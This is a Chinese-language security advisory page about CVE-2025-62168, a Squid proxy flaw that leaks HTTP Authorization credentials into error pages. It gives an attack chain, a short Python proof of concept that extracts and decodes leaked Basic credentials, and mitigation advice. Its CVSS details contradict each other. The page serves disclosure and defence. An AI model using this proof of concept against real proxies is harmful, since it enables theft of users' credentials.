IPBUF安全漏洞报告
English
CVE-2025-62168 CVSS 10.0 严重

CVE-2025-62168 Squid代理HTTP认证凭据信息泄露漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-62168
漏洞类型
信息泄露
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Squid

相关标签

信息泄露认证凭据泄露Squid代理服务器HTTP认证CVSS 10.0严重漏洞CWE-200CWE-532错误处理缺陷

漏洞概述

CVE-2025-62168是Squid缓存代理服务器中的一个严重信息泄露漏洞,CVSS评分为10.0(满分),属于最高严重等级。该漏洞存在于Squid 7.2之前的版本中,源于错误处理过程中未能正确隐藏(redact)HTTP认证凭据信息。具体而言,当Squid在处理请求过程中生成调试或错误信息时,会将HTTP认证头部中的敏感凭据信息(如Authorization头部的Base64编码内容)泄露到错误页面或调试输出中。

该漏洞的危害性极高,因为它允许远程攻击者通过精心构造的请求触发Squid的错误处理流程,从而绕过浏览器的安全防护机制,获取受信任客户端用于认证的安全令牌或凭据信息。这些泄露的凭据通常被用于Web应用程序后端负载均衡的内部认证,一旦被恶意攻击者获取,可能导致内部系统被未授权访问。值得注意的是,此攻击并不要求Squid配置了HTTP认证功能,任何使用Squid作为反向代理或正向代理的部署都可能受到影响。

该漏洞由GitHub安全顾问团队([email protected])发现并报告,已在Squid 7.2版本中修复。作为临时缓解方案,管理员可以通过在squid.conf中配置`email_err_data off`来禁用管理员mailto链接中的调试信息,从而降低凭据泄露的风险。

技术细节

该漏洞的根本原因在于Squid的错误处理模块在生成错误页面(如ERR_ACCESS_DENIED、ERR_CACHE_ACCESS_DENIED等)时,会将完整的HTTP请求头部信息嵌入到错误页面中,包括包含认证凭据的Authorization头部。当用户访问一个触发错误的URL时,错误页面中会包含完整的请求头部信息。

具体利用方式如下:

1. 攻击者构造一个包含恶意脚本或重定向逻辑的网页,当受害者的浏览器加载该页面时,会向目标Squid代理发送HTTP请求;

2. 该请求的Authorization头部包含受害者在目标Web应用程序中使用的认证凭据(如Basic认证的Base64编码字符串或Bearer Token);

3. 攻击者通过特定方式(如请求一个被拒绝的资源或触发Squid的调试错误)使Squid返回包含完整请求头部信息的错误页面;

4. 攻击者利用同源策略绕过或浏览器中的脚本注入技术,从错误页面中提取Authorization头部的值;

5. 获取的凭据可用于冒充合法用户访问受保护的资源。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:C/S:C/C:H/I:H/A:N,表明攻击通过网络进行,攻击复杂度低,无需权限,但需要用户交互(如点击恶意链接),且影响范围为变更(Scope Changed),对机密性和完整性有高影响。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标组织使用Squid作为HTTP代理或反向代理,并确定代理服务器的地址和端口。
STEP 2
步骤2:构造恶意页面
攻击者创建一个恶意网页或广告,其中包含JavaScript代码,用于通过目标Squid代理发送请求并捕获错误页面内容。
STEP 3
步骤3:诱导受害者访问
攻击者通过钓鱼邮件、社交媒体或其他方式诱导受害者访问恶意页面,使受害者的浏览器通过Squid代理发起请求。
STEP 4
步骤4:触发错误处理
恶意JavaScript构造特定请求(如访问被拒绝的资源),触发Squid生成包含完整请求头部的错误页面。
STEP 5
步骤5:凭据提取
攻击者的JavaScript从错误页面中提取Authorization头部信息,获取受害者的认证凭据(如Token或Basic认证信息)。
STEP 6
步骤6:凭据利用
攻击者使用获取的凭据冒充合法用户访问受保护的内部资源,进行进一步的攻击活动,如数据窃取或权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62168 PoC - Squid HTTP Authentication Credentials Disclosure # This PoC demonstrates how an attacker can extract HTTP authentication # credentials leaked through Squid's error pages. import requests import base64 # Target Squid proxy PROXY_URL = "http://target-squid-proxy:3128" # Step 1: Craft a request that will trigger Squid's error page # containing leaked authentication headers target_url = f"{PROXY_URL}/nonexistent-resource-that-triggers-error" # Step 2: Include Authorization header with victim's credentials # (In a real attack, the victim's browser would automatically include this) victim_credentials = base64.b64encode(b"admin:password123").decode() headers = { "Authorization": f"Basic {victim_credentials}", "User-Agent": "Mozilla/5.0 (compatible; AttackerBot/1.0)" } # Step 3: Send the request - Squid will return an error page # that includes the full request headers including Authorization try: response = requests.get(target_url, headers=headers, timeout=10) # Step 4: Extract leaked credentials from the error page if "Authorization" in response.text: print("[!] Vulnerability confirmed - Authorization header leaked!") # Parse the leaked authorization header for line in response.text.split("\n"): if "Authorization" in line: print(f"[+] Leaked header: {line.strip()}") # Extract and decode the credentials leaked_auth = line.split(":")[-1].strip() if "Basic" in leaked_auth: decoded = base64.b64decode(leaked_auth.split()[-1]) print(f"[+] Decoded credentials: {decoded.decode()}") else: print("[-] Authorization header not found in response") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Note: A real-world attack would use a malicious webpage that causes # the victim's browser to make requests through the Squid proxy, # then use JavaScript to read the error page content and exfiltrate # the credentials via the attacker's server.

影响范围

Squid < 7.2

防御指南

临时缓解措施
在无法立即升级到Squid 7.2的情况下,可以通过编辑squid.conf配置文件,添加或修改配置项 `email_err_data off` 来禁用管理员mailto链接中的调试信息,从而防止认证凭据通过错误页面泄露。此外,建议限制Squid代理的错误页面访问权限,并通过防火墙规则减少代理的暴露面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表